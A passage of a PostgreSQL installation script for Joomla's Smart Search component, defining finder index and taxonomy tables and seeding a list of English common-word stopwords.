("link_id", "term_id") ); CREATE INDEX "#__finder_links_termsf_idx_term_weight" on "#__finder_links_termsf" ("term_id", "weight"); CREATE INDEX "#__finder_links_termsf_idx_link_term_weight" on "#__finder_links_termsf" ("link_id", "term_id", "weight"); -- -- Table: #__finder_taxonomy -- CREATE TABLE "#__finder_taxonomy" ( "id" serial NOT NULL, "parent_id" integer DEFAULT 0 NOT NULL, "title" character varying(255) NOT NULL, "state" smallint DEFAULT 1 NOT NULL, "access" smallint DEFAULT 0 NOT NULL, "ordering" smallint DEFAULT 0 NOT NULL, PRIMARY KEY ("id") ); CREATE INDEX "#__finder_taxonomy_parent_id" on "#__finder_taxonomy" ("parent_id"); CREATE INDEX "#__finder_taxonomy_state" on "#__finder_taxonomy" ("state"); CREATE INDEX "#__finder_taxonomy_ordering" on "#__finder_taxonomy" ("ordering"); CREATE INDEX "#__finder_taxonomy_access" on "#__finder_taxonomy" ("access"); CREATE INDEX "#__finder_taxonomy_idx_parent_published" on "#__finder_taxonomy" ("parent_id", "state", "access"); -- -- Dumping data for table #__finder_taxonomy -- UPDATE "#__finder_taxonomy" SET ("id", "parent_id", "title", "state", "access", "ordering") = (1, 0, 'ROOT', 0, 0, 0) WHERE "id"=1; INSERT INTO "#__finder_taxonomy" ("id", "parent_id", "title", "state", "access", "ordering") SELECT 1, 0, 'ROOT', 0, 0, 0 WHERE 1 NOT IN (SELECT 1 FROM "#__finder_taxonomy" WHERE "id"=1); -- -- Table: #__finder_taxonomy_map -- CREATE TABLE "#__finder_taxonomy_map" ( "link_id" integer NOT NULL, "node_id" integer NOT NULL, PRIMARY KEY ("link_id", "node_id") ); CREATE INDEX "#__finder_taxonomy_map_link_id" on "#__finder_taxonomy_map" ("link_id"); CREATE INDEX "#__finder_taxonomy_map_node_id" on "#__finder_taxonomy_map" ("node_id"); -- -- Table: #__finder_terms -- CREATE TABLE "#__finder_terms" ( "term_id" serial NOT NULL, "term" character varying(75) NOT NULL, "stem" character varying(75) NOT NULL, "common" smallint DEFAULT 0 NOT NULL, "phrase" smallint DEFAULT 0 NOT NULL, "weight" numeric(8,2) DEFAULT 0 NOT NULL, "soundex" character varying(75) NOT NULL, "links" integer DEFAULT 0 NOT NULL, PRIMARY KEY ("term_id"), CONSTRAINT "#__finder_terms_idx_term" UNIQUE ("term") ); CREATE INDEX "#__finder_terms_idx_term_phrase" on "#__finder_terms" ("term", "phrase"); CREATE INDEX "#__finder_terms_idx_stem_phrase" on "#__finder_terms" ("stem", "phrase"); CREATE INDEX "#__finder_terms_idx_soundex_phrase" on "#__finder_terms" ("soundex", "phrase"); -- -- Table: #__finder_terms_common -- CREATE TABLE "#__finder_terms_common" ( "term" character varying(75) NOT NULL, "language" character varying(3) NOT NULL ); CREATE INDEX "#__finder_terms_common_idx_word_lang" on "#__finder_terms_common" ("term", "language"); CREATE INDEX "#__finder_terms_common_idx_lang" on "#__finder_terms_common" ("language"); -- -- Dumping data for table `#__finder_terms_common` -- -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('a', 'en') WHERE "term"='a'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'a', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='a'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('about', 'en') WHERE "term"='about'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'about', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='about'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('after', 'en') WHERE "term"='after'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'after', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='after'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('ago', 'en') WHERE "term"='ago'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'ago', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='ago'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('all', 'en') WHERE "term"='all'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'all', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='all'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('am', 'en') WHERE "term"='am'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'am', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='am'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('an', 'en') WHERE "term"='an'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'an', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='an'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('and', 'en') WHERE "term"='and'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'and', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='and'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('ani', 'en') WHERE "term"='ani'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'ani', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='ani'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('any', 'en') WHERE "term"='any'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'any', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='any'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('are', 'en') WHERE "term"='are'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'are', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='are'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('aren''t', 'en') WHERE "term"='aren''t'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'aren''t', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='aren''t'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('as', 'en') WHERE "term"='as'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'as', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='as'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('at', 'en') WHERE "term"='at'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'at', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='at'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('be', 'en') WHERE "term"='be'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'be', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='be'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('but', 'en') WHERE "term"='but'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'but', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='but'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('by', 'en') WHERE "term"='by'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'by', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='by'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('for', 'en') WHERE "term"='for'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'for', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='for'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('from', 'en') WHERE "term"='from'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'from', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='from'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('get', 'en') WHERE "term"='get'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'get', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='get'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('go', 'en') WHERE "term"='go'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'go', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='go'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('how', 'en') WHERE "term"='how'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'how', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='how'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('if', 'en') WHERE "term"='if'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'if', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='if'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('in', 'en') WHERE "term"='in'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'in', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='in'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('into', 'en') WHERE "term"='into'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'into', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='into'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('is', 'en') WHERE "term"='is'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'is', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='is'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('isn''t', 'en') WHERE "term"='isn''t'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'isn''t', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='isn''t'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('it', 'en') WHERE "term"='it'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'it', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='it'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('its', 'en') WHERE "term"='its'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'its', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='its'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('me', 'en') WHERE "term"='me'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'me', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='me'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('more', 'en') WHERE "term"='more'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'more', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='more'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('most', 'en') WHERE "term"='most'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'most', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='most'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('must', 'en') WHERE "term"='must'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'must', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='must'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('my', 'en') WHERE "term"='my'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'my', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='my'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('new', 'en') WHERE "term"='new'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'new', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='new'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('no', 'en') WHERE "term"='no'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'no', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='no'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('none', 'en') WHERE "term"='none'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'none', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='none'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('not', 'en') WHERE "term"='not'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'not', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='not'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('noth', 'en') WHERE "term"='noth'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'noth', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='noth'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('nothing', 'en') WHERE "term"='nothing'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'nothing', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='nothing'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('of', 'en') WHERE "term"='of'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'of', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='of'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('off', 'en') WHERE "term"='off'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'off', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='off'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('often', 'en') WHERE "term"='often'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'often', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='often'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('old', 'en') WHERE "term"='old'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'old', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='old'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('on', 'en') WHERE "term"='on'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'on', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='on'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('onc', 'en') WHERE "term"='onc'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'onc', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='onc'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('once', 'en') WHERE "term"='once'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'once', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='once'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('onli', 'en') WHERE "term"='onli'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'onli', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='onli'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('only', 'en') WHERE "term"='only'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'only', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='only'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('or', 'en') WHERE "term"='or'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'or', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='or'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('other', 'en') WHERE "term"='other'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'other', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='other'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('our', 'en') WHERE "term"='our'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'our', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='our'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('ours', 'en') WHERE "term"='ours'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'ours', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='ours'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('out', 'en') WHERE "term"='out'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'out', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='out'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('over', 'en') WHERE "term"='over'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'over', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='over'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('page', 'en') WHERE "term"='page'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'page', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='page'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('she', 'en') WHERE "term"='she'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'she', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='she'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('should', 'en') WHERE "term"='should'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'should', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='should'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('small', 'en') WHERE "term"='small'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'small', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='small'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('so', 'en') WHERE "term"='so'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'so', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='so'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('some', 'en') WHERE "term"='some'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'some', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='some'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('than', 'en') WHERE "term"='than'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'than', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='than'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('thank', 'en') WHERE "term"='thank'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'thank', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='thank'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('that', 'en') WHERE "term"='that'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'that', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='that'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('the', 'en') WHERE "term"='the'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'the', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='the'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('their', 'en') WHERE "term"='their'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'their', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='their'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('theirs', 'en') WHERE "term"='theirs'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'theirs', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='theirs'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('them', 'en') WHERE "term"='them'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'them', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='them'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('then', 'en') WHERE "term"='then'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'then', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='then'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('there', 'en') WHERE "term"='there'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'there', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='there'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('these', 'en') WHERE "term"='these'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'these', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='these'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('they', 'en') WHERE "term"='they'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'they', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='they'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('this', 'en') WHERE "term"='this'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'this', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='this'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('those', 'en') WHERE "term"='those'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'those', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='those'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('thus', 'en') WHERE "term"='thus'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'thus', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='thus'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('time', 'en') WHERE "term"='time'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'time', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='time'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('times', 'en') WHERE "term"='times'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'times', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='times'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('to', 'en') WHERE "term"='to'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'to', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='to'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('too', 'en') WHERE "term"='too'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'too', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='too'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('true', 'en') WHERE "term"='true'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'true', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='true'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('under', 'en')WHERE "term"='under'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'under', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='under'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('until', 'en') WHERE "term"='until'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'until', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='until'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('up', 'en') WHERE "term"='up'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'up', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='up'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('upon', 'en') WHERE "term"='upon'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'upon', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='upon'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('use', 'en') WHERE "term"='use'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'use', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='use'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('user', 'en') WHERE "term"='user'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'user', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='user'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('users', 'en') WHERE "term"='users'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'users', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='users'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('veri', 'en') WHERE "term"='veri'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'veri', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='veri'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('version', 'en') WHERE "term"='version'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'version', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='version'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('very', 'en') WHERE "term"='very'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'very', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='very'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('via', 'en') WHERE "term"='via'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'via', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='via'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('want', 'en') WHERE "term"='want'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'want', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='want'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('was', 'en') WHERE "term"='was'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'was', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='was'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('way', 'en') WHERE "term"='way'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'way', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='way'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('were', 'en') WHERE "term"='were'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'were', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='were'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('what', 'en') WHERE "term"='what'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'what', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='what'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('when', 'en') WHERE "term"='when'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'when', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='when'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('where', 'en') WHERE "term"='where'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'where', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='where'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('whi', 'en') WHERE "term"='whi'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'whi', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='whi'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('which', 'en') WHERE "term"='which'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'which', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='which'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('who', 'en') WHERE "term"='who'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'who', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='who'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('whom', 'en') WHERE "term"='whom'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'whom', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='whom'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('whose', 'en') WHERE "term"='whose'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'whose', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='whose'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('why', 'en') WHERE "term"='why'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'why', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" 